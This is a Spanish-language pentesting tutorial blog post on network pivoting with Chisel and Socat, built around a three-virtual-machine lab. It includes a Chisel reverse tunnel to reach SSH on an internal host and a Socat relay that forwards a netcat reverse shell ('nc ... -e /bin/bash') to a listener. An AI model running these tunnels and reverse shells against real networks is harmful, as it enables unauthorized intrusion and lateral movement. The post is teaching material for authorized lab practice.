Pivoting con Chisel y Socat

El pivoting es más que una simple técnica; es un arte. Actúa como un puente, permitiendo a los profesionales de seguridad superar las barreras que les separan de sus objetivos y explorar redes desconocidas. Ahora, mientras que el pivoting es un concepto conocido, ¿cómo lo llevamos a cabo con herramientas modernas y eficientes? Aquí es donde entran Chisel y Socat. Estas dos herramientas han revolucionado la forma en que los expertos realizan pivoting, ofreciendo flexibilidad y potencia para navegar a través de redes intrincadas. Si alguna vez te has preguntado cómo puedes utilizar estas herramientas para mejorar tus habilidades de pivoting o simplemente quieres comprender sus fundamentos, has llegado al lugar correcto. Acompáñame en este viaje mientras desglosamos cada herramienta, sumergiéndonos en ejemplos prácticos y, sobre todo, aprendiendo a dominar el arte del pivoting. ¿Estás listo para transformar tu enfoque de ciberseguridad? ¡Sigue leyendo y descubre cómo!

Pivoting con Chisel y Socat

¿Qué es el Pivoting?

Imagina que estás tratando de entrar a una fortaleza protegida. Puedes ver el edificio principal desde fuera, pero hay muros alrededor y solo una entrada principal. Una vez que consigues entrar a la fortaleza, te das cuenta de que hay otros edificios y áreas internas, algunas de las cuales no podías ver desde el exterior. En ciberseguridad, especialmente en pruebas de penetración (pentesting), esta fortaleza es una metáfora para una red o sistema informático.

Pivoting es la técnica que usamos para moverse dentro de esta «fortaleza». Una vez que hemos conseguido acceso a una parte del sistema, utilizamos ese punto de acceso para explorar y atacar otras áreas internas que no eran visibles o accesibles desde el exterior. Básicamente, estamos utilizando nuestra primera conquista como un trampolín para llegar a otros lugares.

Ejemplo

Supongamos que trabajas en pentesting y logras acceder a un servidor en una empresa. Este servidor puede ser un simple dispositivo de un empleado, pero está conectado internamente a la red de la empresa. Desde esta máquina, puedes ver y potencialmente acceder a otros sistemas y recursos que no estaban disponibles desde el exterior: servidores, impresoras, archivos, etc.

En este escenario, la máquina del empleado es tu punto de pivote. Usarías esta máquina para «pivotar» y explorar la red interna, buscando más información o intentando acceder a sistemas más críticos.

Es importante mencionar que el pivoting es una técnica poderosa, pero debe usarse de manera ética y responsable. Siempre se debe contar con el permiso adecuado antes de intentar acceder o explorar cualquier red o sistema.


¿Qué es Chisel?

Para entender Chisel, imagina que estás tratando de hablar con un amigo que vive en una casa fortificada. Sin embargo, hay un problema: todas las puertas y ventanas de la casa están cerradas y no puedes comunicarte directamente con él. Pero tienes un tercer amigo, que tiene un pequeño tubo mágico llamado Chisel, que puede atravesar las paredes de la casa y permitirte enviar y recibir mensajes.

Chisel es una herramienta de software que permite crear esos «tubos» (llamados túneles) a través de barreras en redes informáticas. Estos túneles te permiten comunicarte entre computadoras que, por alguna razón, no pueden hacerlo directamente debido a restricciones como firewalls o NATs.

ejemplo

Imagina que trabajas en pentesting y has logrado acceder a un equipo en una empresa (llamémosla PC-A). Sin embargo, hay otro sistema (PC-B) al que quieres acceder, pero PC-B no está directamente conectado a Internet y no puedes acceder a él desde tu máquina. Sin embargo, PC-A puede comunicarse con PC-B.

Usando Chisel, puedes configurar un túnel desde tu equipo, pasando por PC-A, para finalmente llegar a PC-B. Es como si hubieras tendido un cable secreto entre tu equipo y PC-B a través de PC-A.

Github


¿Qué es Socat?

Socat es una herramienta que permite conectar y retransmitir flujos de datos entre diferentes tipos de conexiones o «sockets». En el mundo del pentesting, Socat puede ser usado para crear, exponer, o reenviar conexiones de diferentes tipos, lo que es increíblemente útil cuando intentas acceder o explorar sistemas.

Ejemplo

Supongamos que estás haciendo pentesting y has encontrado un sistema que tiene un servicio corriendo internamente en un puerto específico, digamos el puerto 4000, pero no puedes acceder a ese puerto directamente desde tu equipo porque está bloqueado por un firewall. Sin embargo, puedes acceder al puerto 80, que generalmente está abierto para tráfico web.

Usando Socat, podrías decirle al sistema: «Oye, cualquier cosa que venga al puerto 80, reenvíalo al puerto 4000 para mí». Así, cuando te conectes al puerto 80, en realidad estarás accediendo al servicio en el puerto 4000.

Github


Prueba de concepto con máquinas virtuales

Para poder entender como utilizar las herramientas anteriormente mencionadas vamos a realizar una prueba de concepto con diferentes máquinas virtuales. Será necesario configurar un entorno con tres máquinas virtuales:

  • VM1 (Cliente) – Debian 11 – ETH0: 192.168.0.2/24 – Internal Network: inet
  • VM2 (Servidor) – Debian 11 | ETH0 192.168.1.3/24 – Internal Network: inet1
  • VM3 (Intermedio) – Debian 11 | ETH0 192.168.0.3/24 – Internal Network: inet | ETH1 192.168.1.2/24 – Internal Network: inet1

Primer escenario (chisel): Imagina que VM1 (Cliente) quiere conectarse a VM2 (Servidor), pero debido a alguna restricción, no puede hacerlo directamente. Sin embargo, ambas máquinas pueden comunicarse con VM3 (Intermedio).

Segundo escenario (Socat): Imagina que VM3 (servidor) tiene que devolver una reverse shell, la cual, obviamente queremos en nuestra máquina VM1 (cliente) pero no tenemos acceso directo desde VM1 (cliente) a VM3 (Servidor), sin embargo ambas máquinas tienen comunicación con el equipo VM2 (intermedio).


¿Cómo instalar Chisel?

Comenzamos con la instalación actualizando el equipo:

$ sudo apt -y update

A continuación, descargamos el binario comprimido para instalar GO, ya que será necesario para la instalación de chisel:

$ wget https://go.dev/dl/go1.17.7.linux-amd64.tar.gz

Descomprimimos el archivo y movemos los ejecutables:

$ sudo tar -xvf go1.17.7.linux-amd64.tar.gz
$ sudo mv go /usr/local  

Establecemos las variables de entorno para poder ejecutar GO:

$ export GOROOT=/usr/local/go
$ export GOPATH=$HOME/Projects/Proj1 
$ export PATH=$GOPATH/bin:$GOROOT/bin:$PATH 

Verificamos la instalación:

$ go version 

go version go1.17.7 linux/amd64

Clonamos el repositorio de chisel:

$ git clone https://github.com/jpillora/chisel.git

Entramos a la carpeta y preparamos para construir el binario:

$ go build .
$ go build -ldflags "-s -w" .

Finalmente, creamos el binario:

$ upx chisel
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   8134656 ->   3137844   38.57%   linux/amd64   chisel                        

Packed 1 file.

¿Cómo instalar Socat?

Solo será necesario descargar el binario desde aquí:

https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat

pasos a seguir para replicar el pivoting

Chisel:

Actualmente, el objetivo es conseguir llegar por ejemplo hacer SSH a la VM3 (Servidor), para esto lo primero que vamos hacer es levantar chisel en modo servidor en la máquina VM1 (cliente) y lo dejamos en segundo plano:

$ ./chisel server --reverse -p 5001 &

Tras levantar nuestro servidor de chisel en la máquina VM1 (cliente), lo siguiente que vamos a realizar es ejecutar chisel en modo cliente en el equipo dónde si tenemos acceso y conectividad, es decir, la máquina VM3 (intermedio). Esto lo haremos para conectarnos al servidor de chisel y exponer en la máquina VM1 (cliente) el puerto 22 de la máquina VM2 (Servidor) sobre el puerto 2222:

./chisel client VM1ClienteIP:5001 R:2222:VM2ServidorIP:22 &

Acto seguido veremos como recibimos una conexión a nuestro servidor de chisel en la máquina VM1 (cliente):

Ahora a través de este túnel que hemos formado, podemos acceder al equipo VM2 (servidor) a través de nuestro equipo el cual previamente no tenía visibilidad sobre el mismo:

ssh soporte@localhost -p 2222

Socat:

Imaginad que hemos conseguido localizar una vulnerabilidad web la cual nos permite ejecutar una web shell en la máquina VM2 (servidor) a través del túnel que tenemos con chisel pero necesitamos mejorar nuestra shell ejecutando una reverse shell. Lo primero que vamos a realizar es levantar nuestro servidor de escucha en la máquina VM1 (cliente):

nc -nlvp 4444

Una vez que ya tenemos nuestro servidor a la escucha, en la máquina que tenemos acceso VM3 (intermedio), vamos a ejecutar Socat en modo escucha, para que cuando recibamos una conexión al puerto que se especifique lo dirija a la máquina VM1 (cliente), el cual tiene netcat a la escucha:

./socat TCP-LISTEN:6000,fork TCP:192.168.0.2:4444 &

Ahora, por ejemplo si ejecutamos nuestra «reverse shell» en la máquina VM2 (Servidor):

nc VM3IntermedioIpETH1 6000 -e /bin/bash

Una vez ejecutada la reverse shell deberíamos ver nuestra shell en la máquina VM1 (cliente):

Vídeo

Conclusión

En el mundo del pentesting y la ciberseguridad, herramientas como Chisel y Socat representan puentes esenciales que nos permiten atravesar obstáculos y expandir nuestro alcance en redes complejas. Ambas herramientas, aunque distintas en su naturaleza, comparten un objetivo común: facilitar la conectividad y el acceso. Ya sea creando túneles a través de firewalls o redirigiendo tráfico entre diferentes puertos y protocolos, estos poderosos «conectores» son indispensables para cualquier profesional de seguridad que busque explorar, examinar y proteger redes en profundidad.


🔒 Hardsoft Security ofrece servicios de consultoría en ciberseguridad, asegurando que tu negocio esté siempre protegido contra las amenazas más recientes. Y si estás buscando un alojamiento que ponga la seguridad primero, Secure Hosting es tu solución ideal. Ayudamos a mantener seguro tu sitio web con las mejores prácicas de ciberseguridad con nuestro asesoramiento en ciberseguridad especializado.

No esperes a ser el próximo objetivo. Asegura tu presencia online con las mejores soluciones y servicios del mercado. ¡Contacta con Hardsoft Security Secure Hosting hoy mismo!

(La ciberseguridad no es un lujo, sino una necesidad. Protege tu inversión y tu reputación en línea.).

Deja un comentario

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.